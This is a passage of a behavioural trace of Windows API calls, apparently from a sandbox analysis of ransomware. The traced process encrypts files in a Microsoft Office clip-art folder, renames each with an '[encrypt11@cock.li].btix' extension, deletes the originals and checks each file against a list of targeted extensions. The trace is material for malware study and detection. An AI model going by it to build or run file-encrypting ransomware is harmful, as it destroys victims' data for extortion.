SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.174] GetLastError () returned 0x0 [0154.174] ReadFile (in: hFile=0x358, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xe3c, lpOverlapped=0x0) returned 1 [0154.196] WriteFile (in: hFile=0x374, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xe40, lpOverlapped=0x0) returned 1 [0154.197] ReadFile (in: hFile=0x358, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.197] WriteFile (in: hFile=0x374, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.197] SetEndOfFile (hFile=0x374) returned 1 [0154.199] CloseHandle (hObject=0x374) returned 1 [0154.201] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.201] SetEndOfFile (hFile=0x358) returned 1 [0154.486] CloseHandle (hObject=0x358) returned 1 [0154.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 1 [0154.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0154.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0154.500] lstrlenW (lpString=".doc") returned 4 [0154.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.500] lstrlenW (lpString=".docx") returned 5 [0154.500] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.500] lstrlenW (lpString=".pdf") returned 4 [0154.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.500] lstrlenW (lpString=".xls") returned 4 [0154.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.501] lstrlenW (lpString=".xlsx") returned 5 [0154.501] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.501] lstrlenW (lpString=".ppt") returned 4 [0154.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0154.501] lstrlenW (lpString=".zip") returned 4 [0154.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.501] lstrlenW (lpString=".rar") returned 4 [0154.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.501] lstrlenW (lpString=".bz2") returned 4 [0154.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.501] lstrlenW (lpString=".7z") returned 3 [0154.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0154.501] lstrlenW (lpString=".dbf") returned 4 [0154.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0154.501] lstrlenW (lpString=".1cd") returned 4 [0154.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0154.501] lstrlenW (lpString=".jpg") returned 4 [0154.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.502] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.502] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.502] GetLastError () returned 0x0 [0154.502] ReadFile (in: hFile=0x368, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x8379, lpOverlapped=0x0) returned 1 [0154.522] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x8380, lpOverlapped=0x0) returned 1 [0154.523] ReadFile (in: hFile=0x368, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.523] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.523] SetEndOfFile (hFile=0x354) returned 1 [0154.524] CloseHandle (hObject=0x354) returned 1 [0154.524] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.524] SetEndOfFile (hFile=0x368) returned 1 [0154.525] CloseHandle (hObject=0x368) returned 1 [0154.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 1 [0154.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0154.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0154.525] lstrlenW (lpString=".doc") returned 4 [0154.525] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.525] lstrlenW (lpString=".docx") returned 5 [0154.525] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0154.525] lstrlenW (lpString=".pdf") returned 4 [0154.525] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.526] lstrlenW (lpString=".xls") returned 4 [0154.526] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.526] lstrlenW (lpString=".xlsx") returned 5 [0154.526] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0154.526] lstrlenW (lpString=".ppt") returned 4 [0154.526] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0154.526] lstrlenW (lpString=".zip") returned 4 [0154.526] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.526] lstrlenW (lpString=".rar") returned 4 [0154.526] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.526] lstrlenW (lpString=".bz2") returned 4 [0154.526] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.526] lstrlenW (lpString=".7z") returned 3 [0154.526] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0154.526] lstrlenW (lpString=".dbf") returned 4 [0154.526] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0154.526] lstrlenW (lpString=".1cd") returned 4 [0154.526] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0154.526] lstrlenW (lpString=".jpg") returned 4 [0154.526] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.526] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.526] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.527] GetLastError () returned 0x0 [0154.527] ReadFile (in: hFile=0x368, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x5285, lpOverlapped=0x0) returned 1 [0154.539] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x5290, lpOverlapped=0x0) returned 1 [0154.539] ReadFile (in: hFile=0x368, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.540] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.540] SetEndOfFile (hFile=0x354) returned 1 [0154.546] CloseHandle (hObject=0x354) returned 1 [0154.578] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.578] SetEndOfFile (hFile=0x368) returned 1 [0154.579] CloseHandle (hObject=0x368) returned 1 [0154.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 1 [0154.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0154.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0154.579] lstrlenW (lpString=".doc") returned 4 [0154.579] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.579] lstrlenW (lpString=".docx") returned 5 [0154.579] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0154.579] lstrlenW (lpString=".pdf") returned 4 [0154.579] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.580] lstrlenW (lpString=".xls") returned 4 [0154.580] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.580] lstrlenW (lpString=".xlsx") returned 5 [0154.580] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0154.580] lstrlenW (lpString=".ppt") returned 4 [0154.580] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0154.580] lstrlenW (lpString=".zip") returned 4 [0154.580] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.580] lstrlenW (lpString=".rar") returned 4 [0154.580] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.580] lstrlenW (lpString=".bz2") returned 4 [0154.580] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.580] lstrlenW (lpString=".7z") returned 3 [0154.580] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0154.580] lstrlenW (lpString=".dbf") returned 4 [0154.580] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0154.580] lstrlenW (lpString=".1cd") returned 4 [0154.580] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0154.580] lstrlenW (lpString=".jpg") returned 4 [0154.580] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.580] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.581] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.581] GetLastError () returned 0x0 [0154.581] ReadFile (in: hFile=0x368, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x9a76, lpOverlapped=0x0) returned 1 [0154.589] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x9a80, lpOverlapped=0x0) returned 1 [0154.590] ReadFile (in: hFile=0x368, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.590] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.590] SetEndOfFile (hFile=0x38c) returned 1 [0154.590] CloseHandle (hObject=0x38c) returned 1 [0154.591] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.591] SetEndOfFile (hFile=0x368) returned 1 [0154.591] CloseHandle (hObject=0x368) returned 1 [0154.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 1 [0154.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0154.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0154.594] lstrlenW (lpString=".doc") returned 4 [0154.594] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.594] lstrlenW (lpString=".docx") returned 5 [0154.594] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0154.594] lstrlenW (lpString=".pdf") returned 4 [0154.594] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.594] lstrlenW (lpString=".xls") returned 4 [0154.594] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.594] lstrlenW (lpString=".xlsx") returned 5 [0154.594] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0154.594] lstrlenW (lpString=".ppt") returned 4 [0154.594] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0154.594] lstrlenW (lpString=".zip") returned 4 [0154.594] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.594] lstrlenW (lpString=".rar") returned 4 [0154.594] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.594] lstrlenW (lpString=".bz2") returned 4 [0154.595] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.595] lstrlenW (lpString=".7z") returned 3 [0154.595] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0154.595] lstrlenW (lpString=".dbf") returned 4 [0154.595] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0154.595] lstrlenW (lpString=".1cd") returned 4 [0154.595] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0154.595] lstrlenW (lpString=".jpg") returned 4 [0154.595] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.600] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.600] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0154.605] GetLastError () returned 0x0 [0154.605] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xaa9a, lpOverlapped=0x0) returned 1 [0154.609] WriteFile (in: hFile=0x358, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xaaa0, lpOverlapped=0x0) returned 1 [0154.610] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.610] WriteFile (in: hFile=0x358, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.610] SetEndOfFile (hFile=0x358) returned 1 [0154.612] CloseHandle (hObject=0x358) returned 1 [0154.613] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.613] SetEndOfFile (hFile=0x35c) returned 1 [0154.614] CloseHandle (hObject=0x35c) returned 1 [0154.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 1 [0154.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0154.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0154.618] lstrlenW (lpString=".doc") returned 4 [0154.618] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.619] lstrlenW (lpString=".docx") returned 5 [0154.619] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0154.619] lstrlenW (lpString=".pdf") returned 4 [0154.619] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.619] lstrlenW (lpString=".xls") returned 4 [0154.619] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.619] lstrlenW (lpString=".xlsx") returned 5 [0154.619] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0154.619] lstrlenW (lpString=".ppt") returned 4 [0154.619] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0154.619] lstrlenW (lpString=".zip") returned 4 [0154.619] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.619] lstrlenW (lpString=".rar") returned 4 [0154.619] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.619] lstrlenW (lpString=".bz2") returned 4 [0154.619] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.619] lstrlenW (lpString=".7z") returned 3 [0154.619] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0154.619] lstrlenW (lpString=".dbf") returned 4 [0154.619] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0154.619] lstrlenW (lpString=".1cd") returned 4 [0154.619] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0154.619] lstrlenW (lpString=".jpg") returned 4 [0154.619] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.622] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.622] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0154.623] GetLastError () returned 0x0 [0154.623] ReadFile (in: hFile=0x368, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x955d, lpOverlapped=0x0) returned 1 [0154.626] WriteFile (in: hFile=0x348, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x9560, lpOverlapped=0x0) returned 1 [0154.627] ReadFile (in: hFile=0x368, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.627] WriteFile (in: hFile=0x348, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.627] SetEndOfFile (hFile=0x348) returned 1 [0154.629] CloseHandle (hObject=0x348) returned 1 [0154.629] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.629] SetEndOfFile (hFile=0x368) returned 1 [0154.630] CloseHandle (hObject=0x368) returned 1 [0154.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 